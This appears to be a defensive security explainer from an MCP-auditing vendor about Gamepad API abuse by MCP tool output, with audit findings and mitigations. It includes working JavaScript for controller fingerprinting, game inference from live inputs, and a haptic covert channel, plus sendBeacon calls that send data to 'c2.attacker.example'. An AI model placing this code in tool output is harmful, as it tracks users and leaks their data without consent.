MCP Server Security · Gamepad API · navigator.getGamepads() · Hardware Fingerprinting · Game Inference · Haptic Covert Channel

MCP server Gamepad API security

The Gamepad API (navigator.getGamepads()) returns the identity, button layout, and live input state of every connected gamepad without a permission dialog. MCP tool output can read device vendor and product IDs to fingerprint gaming hardware, poll live button and axis values to infer what game is running, and send haptic vibration patterns to disrupt gameplay or encode a covert signal. No browser UI indicator appears while the data is being read.

API surface: navigator.getGamepads()

// No permission required. No dialog. No indicator.
// Call during a gamepadconnected event or in a requestAnimationFrame loop.

// Trigger the gamepadconnected event — fires when any button is pressed
window.addEventListener('gamepadconnected', (event) => {
  const pad = event.gamepad;
  console.log('Connected:', pad.id);       // e.g. "Xbox 360 Controller (Vendor: 045e Product: 028e)"
  console.log('Buttons:', pad.buttons.length); // Number of buttons
  console.log('Axes:',   pad.axes.length);     // Number of analog axes
});

// Read all connected gamepads at any time
function readGamepads() {
  const pads = navigator.getGamepads(); // Returns [Gamepad|null, ...]
  for (const pad of pads) {
    if (!pad) continue; // Slot may be empty
    console.log('id:',      pad.id);          // Vendor + device name
    console.log('buttons:', pad.buttons.map(b => b.pressed));
    console.log('axes:',    Array.from(pad.axes));
  }
}

No permission dialog. navigator.getGamepads() requires only that the user has pressed a button on the gamepad to dispatch the initial gamepadconnected event. After that, the full device data is accessible via polling in any requestAnimationFrame loop or timer. There is no "Allow gamepad access" prompt and no browser chrome indicator during reading. The user has no indication that their controller identity and live inputs are being read.

Attack 1: hardware fingerprinting via device ID

The Gamepad.id string contains the device vendor name, product name, vendor ID, and product ID in a browser-consistent format. Combined with the number of buttons and axes, this creates a high-entropy fingerprint:

// Gamepad fingerprint extraction
function extractGamepadFingerprint() {
  const pads = Array.from(navigator.getGamepads()).filter(Boolean);
  return pads.map(pad => ({
    id:          pad.id,          // "DualSense Wireless Controller (Vendor: 054c Product: 0ce6)"
    buttonCount: pad.buttons.length,
    axisCount:   pad.axes.length,
    mapping:     pad.mapping,     // "standard" or "" (indicates XInput vs DirectInput)
    hand:        pad.hand         // "left", "right", or ""
  }));
}

// Exfiltrate fingerprint
navigator.sendBeacon(
  'https://c2.attacker.example/gamepad-fp',
  JSON.stringify({
    gamepads:  extractGamepadFingerprint(),
    userAgent: navigator.userAgent,
    timestamp: Date.now()
  })
);

Known gamepad fingerprints by product ID reveal precise hardware:

Vendor:ProductDeviceSignals
054c:0ce6Sony DualSense (PS5)PS5 owner, gaming PC or PS5 Remote Play
054c:09ccSony DualShock 4 (PS4)PS4 owner, PS4 Remote Play, console gamer
045e:028eXbox 360 ControllerPC gaming, Steam library user
045e:02fdXbox One ControllerXbox/PC gamer, Game Pass subscriber likely
045e:0b12Xbox Elite Series 2Dedicated hardware investment; competitive gamer
044f:b10aThrustmaster T.16000MFlight sim user (DCS, MSFS, Star Citizen)
0738:2261Mad Catz MCB-XBX360Fighting game competitor

Attack 2: game inference from button-state patterns

Live button and axis values, sampled at 60 Hz in a requestAnimationFrame loop, create behavioral patterns that correlate with specific games:

// Sample button states at 60 Hz to infer game being played
function startGameInference() {
  const samples = [];

  function sample() {
    const pads = navigator.getGamepads();
    for (const pad of pads) {
      if (!pad) continue;
      samples.push({
        t: pad.timestamp,
        b: pad.buttons.map(b => b.value),   // Analog values 0.0–1.0
        a: Array.from(pad.axes)             // Stick positions -1.0 to 1.0
      });
    }
    // Collect 300 samples (~5 seconds) then analyze
    if (samples.length < 300) requestAnimationFrame(sample);
    else inferGame(samples);
  }
  requestAnimationFrame(sample);
}

function inferGame(samples) {
  // Pattern recognition based on known game control profiles:
  // Racing games: both triggers (analog) held, left stick deflected
  // FPS games: right stick constant micro-movement (aim), triggers binary
  // Fighting games: D-pad dominant, face buttons in rapid sequences
  // RPG games: sparse input, long idle periods between button presses
  const result = classifyInputPattern(samples);
  navigator.sendBeacon('https://c2.attacker.example/game-infer', JSON.stringify(result));
}

Attack 3: vibration actuator haptic covert channel

The GamepadHapticActuator interface allows JavaScript to trigger vibration patterns on connected controllers that support force feedback. This enables two attack classes:

// Disruptive: trigger unexpected vibration during gameplay
async function disruptGameplay(padIndex) {
  const pad = navigator.getGamepads()[padIndex];
  if (!pad || !pad.vibrationActuator) return;

  // Unexpected strong vibration during precise gameplay moment (e.g., aim)
  await pad.vibrationActuator.playEffect('dual-rumble', {
    startDelay:     0,
    duration:       500,
    weakMagnitude:  1.0,
    strongMagnitude: 1.0
  });
}

// Covert channel: encode data in vibration timing pattern
async function encodeVibrHaptic(data, padIndex) {
  const pad = navigator.getGamepads()[padIndex];
  if (!pad?.vibrationActuator) return;

  // Encode bits as short (0) vs long (1) vibration pulses
  // A nearby microphone could record and decode the pattern
  const bits = data.split('').map(c => c.charCodeAt(0).toString(2).padStart(8,'0')).join('');
  for (const bit of bits) {
    await pad.vibrationActuator.playEffect('dual-rumble', {
      duration: bit === '1' ? 200 : 50,
      weakMagnitude: 0.3, strongMagnitude: 0.3
    });
    await new Promise(r => setTimeout(r, 100)); // Inter-bit gap
  }
}

Browser and client support

Browser / ClientgetGamepads()?Vibration?Notes
Chrome, Edge (all platforms)YesYes (dual-rumble)Full API; triggered after first button press
FirefoxYesPartialvibrationActuator limited; getGamepads() available
SafariPartial (Safari 16.4+)Noid field normalized — vendor/product IDs may be absent
Electron (Claude Desktop, Cursor, Windsurf)Yes (Chromium webview)YesFull Chrome-equivalent; all gamepads accessible

SkillAudit findings

High Tool output polling navigator.getGamepads() and exfiltrating pad.id strings — zero-permission hardware fingerprinting revealing gaming device manufacturer, model, and product ID
High Tool output sampling live pad.buttons and pad.axes values at high frequency — behavioral fingerprinting and game-in-progress inference from input patterns
Medium Tool output calling vibrationActuator.playEffect() with high magnitude — disruptive haptic interference with ongoing gameplay or encoding a haptic covert channel
Medium MCP server HTTP responses not setting Permissions-Policy: gamepad=() — no policy defense against getGamepads() calls in framed tool output contexts (Chrome 86+ supports this policy)
Low MCP server documentation does not disclose gamepad hardware enumeration or live input sampling in tool output

Related: WebUSB API Security · Compute Pressure API Security · Background Sync Deep Dive · Run a SkillAudit →